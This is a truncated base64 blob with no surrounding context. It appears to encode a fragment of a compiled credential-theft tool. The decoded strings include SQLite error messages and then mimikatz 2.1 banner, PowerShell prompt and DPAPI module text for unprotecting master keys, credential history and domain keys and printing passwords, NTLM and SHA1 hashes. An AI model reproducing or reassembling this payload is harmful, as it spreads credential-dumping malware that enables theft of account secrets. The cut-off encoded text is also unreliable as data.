N0aW9ucyBhcmUgbm90IGFsbG93ZWQgaW4gdGhlIEdST1VQIEJZIGNsYXVzZQAARXhwcmVzc2lvbiB0cmVlIGlzIHRvbyBsYXJnZSAobWF4aW11bSBkZXB0aCAlZCkAdmFyaWFibGUgbnVtYmVyIG11c3QgYmUgYmV0d2VlbiA/MSBhbmQgPyVkAAB0b28gbWFueSBTUUwgdmFyaWFibGVzAAB0b28gbWFueSBjb2x1bW5zIGluICVzAABfUk9XSURfAFJPV0lEAAAAT0lEAG92ZXJzaXplZCBpbnRlZ2VyOiAlcyVzAG1pc3VzZSBvZiBhZ2dyZWdhdGU6ICVzKCkAAAB1bmtub3duIGZ1bmN0aW9uOiAlcygpAAAlcyAlVCBjYW5ub3QgcmVmZXJlbmNlIG9iamVjdHMgaW4gZGF0YWJhc2UgJXMAAABubyBzdWNoIHRhYmxlAAAAY29ycnVwdCBkYXRhYmFzZQAAAAB1bmtub3duIGRhdGFiYXNlICVUAHNxbGl0ZV8Ab2JqZWN0IG5hbWUgcmVzZXJ2ZWQgZm9yIGludGVybmFsIHVzZTogJXMAAAB0YWJsZSAlVCBhbHJlYWR5IGV4aXN0cwB0aGVyZSBpcyBhbHJlYWR5IGFuIGluZGV4IG5hbWVkICVzAAB0b28gbWFueSBjb2x1bW5zIG9uICVzAABkdXBsaWNhdGUgY29sdW1uIG5hbWU6ICVzAAAAZGVmYXVsdCB2YWx1ZSBvZiBjb2x1bW4gWyVzXSBpcyBub3QgY29uc3RhbnQAAAAAdGFibGUgIiVzIiBoYXMgbW9yZSB0aGFuIG9uZSBwcmltYXJ5IGtleQAAAABJTlRFR0VSACwAAAApAAAACiAgACwKICAAAAAACikAAENSRUFURSBUQUJMRSAAAAAgVEVYVAAAACBOVU0AAAAAIElOVAAAAAAgUkVBTAAAAEFVVE9JTkNSRU1FTlQgbm90IGFsbG93ZWQgb24gV0lUSE9VVCBST1dJRCB0YWJsZXMAAABQUklNQVJZIEtFWSBtaXNzaW5nIG9uIHRhYmxlICVzAHRhYmxlAAAAVEFCTEUAAABDUkVBVEUgJXMgJS4qcwAAAAAAAFVQREFURSAlUS4lcyBTRVQgdHlwZT0nJXMnLCBuYW1lPSVRLCB0YmxfbmFtZT0lUSwgcm9vdHBhZ2U9IyVkLCBzcWw9JVEgV0hFUkUgcm93aWQ9IyVkAAB0YmxfbmFtZT0nJXEnIEFORCB0eXBlIT0ndHJpZ2dlcicAAABzcWxpdGVfc3RhdCVkAAAAREVMRVRFIEZST00gJVEuJXMgV0hFUkUgJXM9JVEAAABERUxFVEUgRlJPTSAlUS4lcyBXSEVSRSB0YmxfbmFtZT0lUSBhbmQgdHlwZSE9J3RyaWdnZXInAHNxbGl0ZV9zdGF0AHRhYmxlICVzIG1heSBub3QgYmUgZHJvcHBlZAB0YmwAaW5kZXgAAABjYW5ub3QgY3JlYXRlIGEgVEVNUCBpbmRleCBvbiBub24tVEVNUCB0YWJsZSAiJXMiAAAAYWx0ZXJ0YWJfAAAAdGFibGUgJXMgbWF5IG5vdCBiZSBpbmRleGVkAHRoZXJlIGlzIGFscmVhZHkgYSB0YWJsZSBuYW1lZCAlcwAAAGluZGV4ICVzIGFscmVhZHkgZXhpc3RzAHNxbGl0ZV9hdXRvaW5kZXhfJXNfJWQAAGV4cHJlc3Npb25zIHByb2hpYml0ZWQgaW4gUFJJTUFSWSBLRVkgYW5kIFVOSVFVRSBjb25zdHJhaW50cwAAAABjb25mbGljdGluZyBPTiBDT05GTElDVCBjbGF1c2VzIHNwZWNpZmllZAAAACBVTklRVUUAQ1JFQVRFJXMgSU5ERVggJS4qcwBJTlNFUlQgSU5UTyAlUS4lcyBWQUxVRVMoJ2luZGV4JywlUSwlUSwjJWQsJVEpOwBuYW1lPSclcScgQU5EIHR5cGU9J2luZGV4JwAAbm8gc3VjaCBpbmRleDogJVMAAABpbmRleCBhc3NvY2lhdGVkIHdpdGggVU5JUVVFIG9yIFBSSU1BUlkgS0VZIGNvbnN0cmFpbnQgY2Fubm90IGJlIGRyb3BwZWQAAAAAREVMRVRFIEZST00gJVEuJXMgV0hFUkUgbmFtZT0lUSBBTkQgdHlwZT0naW5kZXgnAAAAAGlkeABPTgAAVVNJTkcAAABhIEpPSU4gY2xhdXNlIGlzIHJlcXVpcmVkIGJlZm9yZSAlcwBpbmRleCAnJXEnAAAsIAAAJXMuJXMAAAAlcy5yb3dpZAAAAABkdXBsaWNhdGUgV0lUSCB0YWJsZSBuYW1lOiAlcwAAAG5vIHN1Y2ggY29sbGF0aW9uIHNlcXVlbmNlOiAlcwAAdGFibGUgJXMgbWF5IG5vdCBiZSBtb2RpZmllZAAAAAByb3dzIGRlbGV0ZWQAAAAAaW50ZWdlcgB0ZXh0AAAAAHJlYWwAAAAAYmxvYgAAAABudWxsAAAAAGludGVnZXIgb3ZlcmZsb3cAAAAATElLRSBvciBHTE9CIHBhdHRlcm4gdG9vIGNvbXBsZXgAAAAARVNDQVBFIGV4cHJlc3Npb24gbXVzdCBiZSBhIHNpbmdsZSBjaGFyYWN0ZXIAAAAAJSEuMjBlAAAgAAAATUFUQ0gAAABsaWtlAAAAAGdsb2IAAAAAdW5saWtlbHkAAAAAbGlrZWxpaG9vZAAAbGlrZWx5AABsdHJpbQAAAHJ0cmltAAAAdHJpbQAAAABtaW4AbWF4AHR5cGVvZgAAbGVuZ3RoAABpbnN0cgAAAHByaW50ZgAAdW5pY29kZQBjaGFyAAAAAGFicwB1cHBlcgAAAGxvd2VyAAAAaGV4AGlmbnVsbAAAcmFuZG9tAAByYW5kb21ibG9iAABudWxsaWYAAHNxbGl0ZV92ZXJzaW9uAABzcWxpdGVfc291cmNlX2lkAAAAAHNxbGl0ZV9sb2cAAHF1b3RlAAAAbGFzdF9pbnNlcnRfcm93aWQAAABjaGFuZ2VzAHRvdGFsX2NoYW5nZXMAAAByZXBsYWNlAHplcm9ibG9iAAAAAHN1YnN0cgAAc3VtAHRvdGFsAAAAYXZnAGNvdW50AAAAZ3JvdXBfY29uY2F0AAAAAGNvYWxlc2NlAAAAAHRhYmxlICVTIGhhcyBubyBjb2x1bW4gbmFtZWQgJXMAdGFibGUgJVMgaGFzICVkIGNvbHVtbnMgYnV0ICVkIHZhbHVlcyB3ZXJlIHN1cHBsaWVkACVkIHZhbHVlcyBmb3IgJWQgY29sdW1ucwAAAAByb3dzIGluc2VydGVkAAAAYXV0b21hdGljIGV4dGVuc2lvbiBsb2FkaW5nIGZhaWxlZDogJXMAAD8AAABtYWxmb3JtZWQgZGF0YWJhc2Ugc2NoZW1hICglcykAACV6IC0gJXMAY3JlYXRlIABpbnZhbGlkIHJvb3RwYWdlAAAAAAAAAABDUkVBVEUgVEFCTEUgeCh0eXBlIHRleHQsbmFtZSB0ZXh0LHRibF9uYW1lIHRleHQscm9vdHBhZ2UgaW50ZWdlcixzcWwgdGV4dCkAAAAAAGF0dGFjaGVkIGRhdGFiYXNlcyBtdXN0IHVzZSB0aGUgc2FtZSB0ZXh0IGVuY29kaW5nIGFzIG1haW4gZGF0YWJhc2UAdW5zdXBwb3J0ZWQgZmlsZSBmb3JtYXQAU0VMRUNUIG5hbWUsIHJvb3RwYWdlLCBzcWwgRlJPTSAiJXciLiVzIE9SREVSIEJZIHJvd2lkAABzdGF0ZW1lbnQgdG9vIGxvbmcAAHVua25vd24gb3IgdW5zdXBwb3J0ZWQgam9pbiB0eXBlOiAlVCAlVCVzJVQAUklHSFQgYW5kIEZVTEwgT1VURVIgSk9JTnMgYXJlIG5vdCBjdXJyZW50bHkgc3VwcG9ydGVkAABhIE5BVFVSQUwgam9pbiBtYXkgbm90IGhhdmUgYW4gT04gb3IgVVNJTkcgY2xhdXNlAAAAY2Fubm90IGhhdmUgYm90aCBPTiBhbmQgVVNJTkcgY2xhdXNlcyBpbiB0aGUgc2FtZSBqb2luAABjYW5ub3Qgam9pbiB1c2luZyBjb2x1bW4gJXMgLSBjb2x1bW4gbm90IHByZXNlbnQgaW4gYm90aCB0YWJsZXMAVU5JT04gQUxMAAAASU5URVJTRUNUAAAARVhDRVBUAABVTklPTgAAAHJvd2lkAAAAY29sdW1uJWQAAAAAJS4qejoldQBhbGwgVkFMVUVTIG11c3QgaGF2ZSB0aGUgc2FtZSBudW1iZXIgb2YgdGVybXMAAAAAAAAAU0VMRUNUcyB0byB0aGUgbGVmdCBhbmQgcmlnaHQgb2YgJXMgZG8gbm90IGhhdmUgdGhlIHNhbWUgbnVtYmVyIG9mIHJlc3VsdCBjb2x1bW5zAAAAbm8gc3VjaCBpbmRleDogJXMAAAAnJXMnIGlzIG5vdCBhIGZ1bmN0aW9uAABtdWx0aXBsZSByZWZlcmVuY2VzIHRvIHJlY3Vyc2l2ZSB0YWJsZTogJXMAAGNpcmN1bGFyIHJlZmVyZW5jZTogJXMAAHRhYmxlICVzIGhhcyAlZCB2YWx1ZXMgZm9yICVkIGNvbHVtbnMAAABtdWx0aXBsZSByZWN1cnNpdmUgcmVmZXJlbmNlczogJXMAAAByZWN1cnNpdmUgcmVmZXJlbmNlIGluIGEgc3VicXVlcnk6ICVzAAAAdG9vIG1hbnkgcmVmZXJlbmNlcyB0byAiJXMiOiBtYXggNjU1MzUAACoAAAAlcy4lcy4lcwAAAABubyBzdWNoIHRhYmxlOiAlcwAAAG5vIHRhYmxlcyBzcGVjaWZpZWQAdG9vIG1hbnkgY29sdW1ucyBpbiByZXN1bHQgc2V0AABESVNUSU5DVCBhZ2dyZWdhdGVzIG11c3QgaGF2ZSBleGFjdGx5IG9uZSBhcmd1bWVudAAAbm8gc3VjaCBjb2x1bW46ICVzAAByb3dzIHVwZGF0ZWQAAAAAQklOQVJZAAB0b28gbWFueSBhcmd1bWVudHMgb24gJXMoKSAtIG1heCAlZABubyBxdWVyeSBzb2x1dGlvbgAAAGF0IG1vc3QgJWQgdGFibGVzIGluIGEgam9pbgB0b28gbWFueSB0ZXJtcyBpbiBjb21wb3VuZCBTRUxFQ1QAAABzeW50YXggZXJyb3IgYWZ0ZXIgY29sdW1uIG5hbWUgIiUuKnMiAAAAcGFyc2VyIHN0YWNrIG92ZXJmbG93AAAAdW5rbm93biB0YWJsZSBvcHRpb246ICUuKnMAAHNldCBsaXN0AAAAAG5lYXIgIiVUIjogc3ludGF4IGVycm9yAHRvbyBtYW55IGFyZ3VtZW50cyBvbiBmdW5jdGlvbiAlVAAAAHVucmVjb2duaXplZCB0b2tlbjogIiVUIgAAAAAyMDE2LTA1LTE4IDEwOjU3OjMwIGZjNDlmNTU2ZTQ4OTcwNTYxZDdhYjZhMmYyNGZkZDdkOWViODFmZjIAAAAAdW5hYmxlIHRvIGNsb3NlIGR1ZSB0byB1bmZpbmFsaXplZCBzdGF0ZW1lbnRzIG9yIHVuZmluaXNoZWQgYmFja3VwcwBub3QgYW4gZXJyb3IAAAAAU1FMIGxvZ2ljIGVycm9yIG9yIG1pc3NpbmcgZGF0YWJhc2UAYWNjZXNzIHBlcm1pc3Npb24gZGVuaWVkAAAAAGNhbGxiYWNrIHJlcXVlc3RlZCBxdWVyeSBhYm9ydAAAZGF0YWJhc2UgaXMgbG9ja2VkAABkYXRhYmFzZSB0YWJsZSBpcyBsb2NrZWQAAAAAYXR0ZW1wdCB0byB3cml0ZSBhIHJlYWRvbmx5IGRhdGFiYXNlAAAAAGludGVycnVwdGVkAGRpc2sgSS9PIGVycm9yAABkYXRhYmFzZSBkaXNrIGltYWdlIGlzIG1hbGZvcm1lZAAAAAB1bmtub3duIG9wZXJhdGlvbgAAAGRhdGFiYXNlIG9yIGRpc2sgaXMgZnVsbAAAAAB1bmFibGUgdG8gb3BlbiBkYXRhYmFzZSBmaWxlAAAAAGxvY2tpbmcgcHJvdG9jb2wAAAAAdGFibGUgY29udGFpbnMgbm8gZGF0YQAAY29uc3RyYWludCBmYWlsZWQAAABkYXRhdHlwZSBtaXNtYXRjaAAAAGxpYnJhcnkgcm91dGluZSBjYWxsZWQgb3V0IG9mIHNlcXVlbmNlAABsYXJnZSBmaWxlIHN1cHBvcnQgaXMgZGlzYWJsZWQAAGF1dGhvcml6YXRpb24gZGVuaWVkAAAAAGF1eGlsaWFyeSBkYXRhYmFzZSBmb3JtYXQgZXJyb3IAYmluZCBvciBjb2x1bW4gaW5kZXggb3V0IG9mIHJhbmdlAAAAZmlsZSBpcyBlbmNyeXB0ZWQgb3IgaXMgbm90IGEgZGF0YWJhc2UAAHVua25vd24gZXJyb3IAAABhYm9ydCBkdWUgdG8gUk9MTEJBQ0sAAAB1bmFibGUgdG8gZGVsZXRlL21vZGlmeSB1c2VyLWZ1bmN0aW9uIGR1ZSB0byBhY3RpdmUgc3RhdGVtZW50cwAAAAAAAHVuYWJsZSB0byBkZWxldGUvbW9kaWZ5IGNvbGxhdGlvbiBzZXF1ZW5jZSBkdWUgdG8gYWN0aXZlIHN0YXRlbWVudHMAbG9jYWxob3N0AAAAaW52YWxpZCB1cmkgYXV0aG9yaXR5OiAlLipzAGNhY2hlAAAAc2hhcmVkAABwcml2YXRlAHJvAABydwAAcndjAG1lbW9yeQAAYWNjZXNzAABubyBzdWNoICVzIG1vZGU6ICVzACVzIG1vZGUgbm90IGFsbG93ZWQ6ICVzAG5vIHN1Y2ggdmZzOiAlcwBOT0NBU0UAAFJUUklNAAAAbWFpbgAAAAB0ZW1wAAAAACVzIGF0IGxpbmUgJWQgb2YgWyUuMTBzXQAAAABkYXRhYmFzZSBjb3JydXB0aW9uAG1pc3VzZQAAY2Fubm90IG9wZW4gZmlsZQAAAAAKACAAIAAuACMAIwAjACMAIwAuACAAIAAgAG0AaQBtAGkAawBhAHQAegAgADIALgAxACAAKAB4ADgANgApACAAYgB1AGkAbAB0ACAAbwBuACAASgB1AGwAIAAxADUAIAAyADAAMQA2ACAAMQA0ADoAMQAwADoAMgA1AAoAIAAuACMAIwAgAF4AIAAjACMALgAgACAAIgBBACAATABhACAAVgBpAGUALAAgAEEAIABMACcAQQBtAG8AdQByACIACgAgACMAIwAgAC8AIABcACAAIwAjACAAIAAvACoAIAAqACAAKgAKACAAIwAjACAAXAAgAC8AIAAjACMAIAAgACAAQgBlAG4AagBhAG0AaQBuACAARABFAEwAUABZACAAYABnAGUAbgB0AGkAbABrAGkAdwBpAGAAIAAoACAAYgBlAG4AagBhAG0AaQBuAEAAZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtACAAKQAKACAAJwAjACMAIAB2ACAAIwAjACcAIAAgACAAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtAC8AbQBpAG0AaQBrAGEAdAB6ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABvAGUALgBlAG8AKQAKACAAIAAnACMAIwAjACMAIwAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBpAHQAaAAgACUAMgB1ACAAbQBvAGQAdQBsAGUAcwAgACoAIAAqACAAKgAvAAoAAAAKAG0AaQBtAGkAawBhAHQAegAoAHAAbwB3AGUAcgBzAGgAZQBsAGwAKQAgACMAIAAlAHMACgAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGkAbgBpAHQATwByAEMAbABlAGEAbgAgADsAIABDAG8ASQBuAGkAdABpAGEAbABpAHoAZQBFAHgAOgAgACUAMAA4AHgACgAAAAAASQBOAEkAVAAAAAAAQwBMAEUAQQBOAAAAPgA+AD4AIAAlAHMAIABvAGYAIAAnACUAcwAnACAAbQBvAGQAdQBsAGUAIABmAGEAaQBsAGUAZAAgADoAIAAlADAAOAB4AAoAAAAAADoAOgAAAAAAAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAG0AbwBkAHUAbABlACAAbgBvAHQAIABmAG8AdQBuAGQAIAAhAAoAAAAKACUAMQA2AHMAAAAgACAALQAgACAAJQBzAAAAIAAgAFsAJQBzAF0AAAAAAEUAUgBSAE8AUgAgAG0AaQBtAGkAawBhAHQAegBfAGQAbwBMAG8AYwBhAGwAIAA7ACAAIgAlAHMAIgAgAGMAbwBtAG0AYQBuAGQAIABvAGYAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAoATQBvAGQAdQBsAGUAIAA6AAkAJQBzAAAAAAAKAEYAdQBsAGwAIABuAGEAbQBlACAAOgAJACUAcwAAAAoARABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAJACUAcwAAAGIAbABvAGIAAAAAAEQAZQBzAGMAcgBpAGIAZQAgAGEAIABEAFAAQQBQAEkAIABiAGwAbwBiACwAIAB1AG4AcAByAG8AdABlAGMAdAAgAGkAdAAgAHcAaQB0AGgAIABBAFAASQAgAG8AcgAgAE0AYQBzAHQAZQByAGsAZQB5AAAAcAByAG8AdABlAGMAdAAAAAAAAABQAHIAbwB0AGUAYwB0ACAAYQAgAGQAYQB0AGEAIAB2AGkAYQAgAGEAIABEAFAAQQBQAEkAIABjAGEAbABsAAAAbQBhAHMAdABlAHIAawBlAHkAAAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAE0AYQBzAHQAZQByAGsAZQB5ACAAZgBpAGwAZQAsACAAdQBuAHAAcgBvAHQAZQBjAHQAIABlAGEAYwBoACAATQBhAHMAdABlAHIAawBlAHkAIAAoAGsAZQB5ACAAZABlAHAAZQBuAGQAaQBuAGcAKQAAAGMAcgBlAGQAaABpAHMAdAAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAEMAcgBlAGQAaABpAHMAdAAgAGYAaQBsAGUAAAAAAGMAYQBwAGkAAAAAAEMAQQBQAEkAIABrAGUAeQAgAHQAZQBzAHQAAABjAG4AZwAAAEMATgBHACAAawBlAHkAIAB0AGUAcwB0AAAAAABjAHIAZQBkAAAAAABDAFIARQBEACAAdABlAHMAdAAAAHYAYQB1AGwAdAAAAFYAQQBVAEwAVAAgAHQAZQBzAHQAAAAAAHcAaQBmAGkAAAAAAFcAaQBGAGkAIAB0AGUAcwB0AAAAdwB3AGEAbgAAAAAAVwB3AGEAbgAgAHQAZQBzAHQAAABjAGgAcgBvAG0AZQAAAAAAQwBoAHIAbwBtAGUAIAB0AGUAcwB0AAAAYwBhAGMAaABlAAAAZABwAGEAcABpAAAARABQAEEAUABJACAATQBvAGQAdQBsAGUAIAAoAGIAeQAgAEEAUABJACAAbwByACAAUgBBAFcAIABhAGMAYwBlAHMAcwApAAAARABhAHQAYQAgAFAAcgBvAHQAZQBjAHQAaQBvAG4AIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AIABwAHIAbwBnAHIAYQBtAG0AaQBuAGcAIABpAG4AdABlAHIAZgBhAGMAZQAAAGkAbgAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAgACUAcwAKAAAAbwB1AHQAAABXAHIAaQB0AGUAIAB0AG8AIABmAGkAbABlACAAJwAlAHMAJwAgAGkAcwAgAE8ASwAKAAAAZABhAHQAYQA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGIAbABvAGIAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAG0AaQBtAGkAawBhAHQAegAAAAAAZABhAHQAYQAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuAAAAZQBuAHQAcgBvAHAAeQAAAG0AYQBjAGgAaQBuAGUAAABwAHIAbwBtAHAAdAAAAAAAYwAAAAoAZABhAHQAYQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAABmAGwAYQBnAHMAIAAgACAAIAAgACAAIAA6ACAAAAAAAHAAcgBvAG0AcAB0ACAAZgBsAGEAZwBzADoAIAAAAAAAZQBuAHQAcgBvAHAAeQAgACAAIAAgACAAOgAgAAAAAABCAGwAbwBiADoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBwAHIAbwB0AGUAYwB0ACAAOwAgAEMAcgB5AHAAdABQAHIAbwB0AGUAYwB0AEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAHAAcgBvAHQAZQBjAHQAZQBkAAAAcwBpAGQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABoAGEAcwBoAAAAAAAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABOAG8AIABzAHUAaQB0AGEAYgBsAGUAIABrAGUAeQAgAGYAbwB1AG4AZAAgAGkAbgAgAGMAYQBjAGgAZQAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgACgAbQBhAGMAaABpAG4AZQAsACAAdABoAGUAbgAgAHUAcwBlAHIAKQA6ACAAAAAqACoAIABNAEEAQwBIAEkATgBFACAAKgAqAAoAAAAAACoAKgAgAFUAUwBFAFIAIAAqACoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5AAoAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQA6ACAAAAAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAbgBvAHIAbQBhAGwAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzACAAKAAlAHMAIAB1AHMAZQByACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBwAGEAcwBzAHcAbwByAGQACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAaABhAHMAaAA6ACAAAAAAACAAKABuAHQAbABtACAAdAB5AHAAZQApAAoAAAAgACgAcwBoAGEAMQAgAHQAeQBwAGUAKQAKAAAAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AdQBzAGUAcgBIAGEAcwBoAAoAAAAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5AAoAAABwAHYAawAAAAAAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIABSAFMAQQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAKAAAAAAByAHAAYwAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAFIAUABDAAoAAAAAAGQAYwAAAAAAZABvAG0AYQBpAG4AAAAAAFsARABDAF0AIAAnACUAcwAnACAAdwBpAGwAbAAgAGIAZQAgAHQAaABlACAAZABvAG0AYQBpAG4ACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAWwBEAEMAXQAgACcAJQBzACcAIAB3AGkAbABsACAAYgBlACAAdABoAGUAIABEAEMAIABzAGUAcgB2AGUAcgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABEAG8AbQBhAGkAbgAgAEMAbwBuAHQAcgBvAGwAbABlAHIAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEkAbgBwAHUAdAAgAG0AYQBzAHQAZQByAGsAZQB5AHMAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAaABpAHMAdAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcwBoAGEAMQAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIABTAEgAQQAxACAAYQBuAGQAIABTAEkARAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAASQBuAHAAdQB0ACAAYwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAB1AG4AcAByAG8AdABlAGMAdAAAACAAKgAgAHUAcwBpAG4AZwAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABEAGEAdABhACAAQQBQAEkACgAAAAAAIAAqACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAACAAKgAgAG0AYQBzAHQAZQByAGsAZQB5ACAAIAAgACAAIAA6ACAAAAAgAD4AIABwAHIAbwBtAHAAdAAgAGYAbABhAGcAcwAgACAAOgAgAAAAIAA+ACAAZQBuAHQAcgBvAHAAeQAgACAAIAAgACAAIAAgADoAIAAAACAAPgAgAHAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AcgBhAHcAXwBvAHIAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAgACAAawBlAHkAIAA6ACAAAAAAACAAIABzAGgAYQAxADoAIAAAAAAAIAAgAHMAaQBkACAAOgAgAAAAAAAgACAAIAAAACAALQAtACAAAAAAACAAIAAgAD4AIABOAFQATABNADoAIAAAACAAIAAgAD4AIABTAEgAQQAxADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AbQBhAHMAdABlAHIAawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAIABIAGEAcwBoAD8AAAAAAEcAVQBJAEQAOgAAADsAAABLAGUAeQBIAGEAcwBoADoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAGMAcgBlAGQAZQBuAHQAaQBhAGwAXwBhAGQAZAAgADsAIABOAG8AIABTAEkARAA/AAAAAABTAEkARAA6ACUAcwAAAAAATQBEADQAOgAAAAAAUwBIAEEAMQA6AAAATQBEADQAcAA6AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AZABvAG0AYQBpAG4AawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAPwAAAFIAUwBBAAAATABFAEcAQQBDAFkAAAAAADsAVABZAFAARQA6ACUAcwAKAAAACgBDAFIA